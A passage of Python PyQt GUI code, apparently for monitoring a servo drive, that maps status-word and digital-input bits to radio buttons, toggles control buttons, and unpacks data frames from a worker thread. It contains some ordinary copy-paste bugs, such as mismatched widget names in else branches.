self.ui.sw_14_rb_s1.setChecked(True)
else:
self.ui.sw_14_rb_s1.setChecked(False)
if statusword[0] == '1':
self.ui.sw_15_rb_s1.setChecked(True)
else:
self.ui.sw_15_rb_s1.setChecked(False)
def digitalinputs_radiobutton(self, inputsdWord):
try:
inputsWord = bin(inputsdWord)[2:].zfill(32)
self.ui.digitalinputs_lb_s1.setText(inputsWord)
except Exception as e:
print(e)
if inputsWord[31] == '1':
self.ui.digin_0_rb_s1.setChecked(True)
else:
self.ui.sw_0_rb_s1.setChecked(False)
if inputsWord[30] == '1':
self.ui.digin_1_rb_s1.setChecked(True)
else:
self.ui.sw_1_rb_s1.setChecked(False)
if inputsWord[29] == '1':
self.ui.digin_2_rb_s1.setChecked(True)
else:
self.ui.digin_2_rb_s1.setChecked(False)
if inputsWord[13] == '1':
self.ui.digin_16_rb_s1.setChecked(True)
else:
self.ui.digin_16_rb_s1.setChecked(False)
if inputsWord[12] == '1':
self.ui.digin_17_rb_s1.setChecked(True)
else:
self.ui.digin_17_rb_s1.setChecked(False)
if inputsWord[26] == '1':
self.ui.digin_18_rb_s1.setChecked(True)
else:
self.ui.digin_18_rb_s1.setChecked(False)
if inputsWord[11] == '1':
self.ui.digin_20_rb_s1.setChecked(True)
else:
self.ui.digin_20_rb_s1.setChecked(False)
if inputsWord[10] == '1':
self.ui.digin_21_rb_s1.setChecked(True)
else:
self.ui.digin_21_rb_s1.setChecked(False)
if inputsWord[9] == '1':
self.ui.digin_22_rb_s1.setChecked(True)
else:
self.ui.digin_22_rb_s1.setChecked(False)
if inputsWord[8] == '1':
self.ui.digin_23_rb_s1.setChecked(True)
else:
self.ui.digin_23_rb_s1.setChecked(False)
if inputsWord[7] == '1':
self.ui.digin_24_rb_s1.setChecked(True)
else:
self.ui.digin_24_rb_s1.setChecked(False)
if inputsWord[6] == '1':
self.ui.digin_25_rb_s1.setChecked(True)
else:
self.ui.digin_25_rb_s1.setChecked(False)
if inputsWord[5] == '1':
self.ui.digin_26_rb_s1.setChecked(True)
else:
self.ui.digin_26_rb_s1.setChecked(False)
if inputsWord[4] == '1':
self.ui.digin_27_rb_s1.setChecked(True)
else:
self.ui.digin_27_rb_s1.setChecked(False)
if inputsWord[3] == '1':
self.ui.digin_28_rb_s1.setChecked(True)
else:
self.ui.digin_28_rb_s1.setChecked(False)
if inputsWord[2] == '1':
self.ui.digin_29_rb_s1.setChecked(True)
else:
self.ui.digin_29_rb_s1.setChecked(False)
if inputsWord[1] == '1':
self.ui.digin_30_rb_s1.setChecked(True)
else:
self.ui.digin_30_rb_s1.setChecked(False)
if inputsWord[0] == '1':
self.ui.digin_31_rb_s1.setChecked(True)
else:
self.ui.digin_31_rb_s1.setChecked(False)
def userUI(self):
pass
def button_onOff(self):
sender = self.sender()
if sender.text() == "ON":
sender.setText("OFF")
sender.setStyleSheet("background-color: rgb(65, 197, 96);")
else:
sender.setText("ON")
sender.setStyleSheet("background-color: rgb(255, 0, 0);")
self.msg_update()
def reset_onoff(self):
sender = self.sender()
if sender.text() == "ACKNOWLEDGED":
sender.setText("RESET")
sender.setStyleSheet("background-color: rgb(255, 0, 0);")
else:
sender.setText("ACKNOWLEDGED")
sender.setStyleSheet("background-color: rgb(65, 197, 96);")
self.msg_update()
def button_check(self):
if self.ui.connect_pb_s1.text() == "DISCONNECT":
self.ui.connect_pb_s1.setText("CONNECT")
self.ui.connect_pb_s1.setStyleSheet(
"background-color: rgb(255, 0, 0);")
self.ui.groupBox_6.setEnabled(False)
self.stop_driver()
self.thread_stop()
else:
self.ui.connect_pb_s1.setText("DISCONNECT")
self.ui.connect_pb_s1.setStyleSheet(
"background-color: rgb(65, 197, 96);")
self.ui.groupBox_6.setEnabled(True)
self.thread_start()
def stop_driver(self):
self.msg_update()
return True
def thread_stop(self):
self.th.stop()
def thread_start(self):
if self.th.isRunning():
print("thread is already running")
else:
self.th.data_val.connect(self.recieved_data)
self.th.start()
print("thread started")
@pyqtSlot(list)
def recieved_data(self, send_list):
global data
# print("Send Data Frame for Servo 1 = ", message)
try:
data = unpack("hhhhhhhhhlLdddd", bytes(send_list))
# print("Recieved Data Frame for Servo 1 = ", data)
except Exception as e:
print(e)
print("Alınan Mesaj Hatalı")
data = [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]
self.msg_update()
def __del__(self):
self.th.exit()
def create_motion_capture(address):
motion_capture = Thread(target=loop_in_thread, args=(loop, address,))
motion_capture.exit = exit
return motion_capture
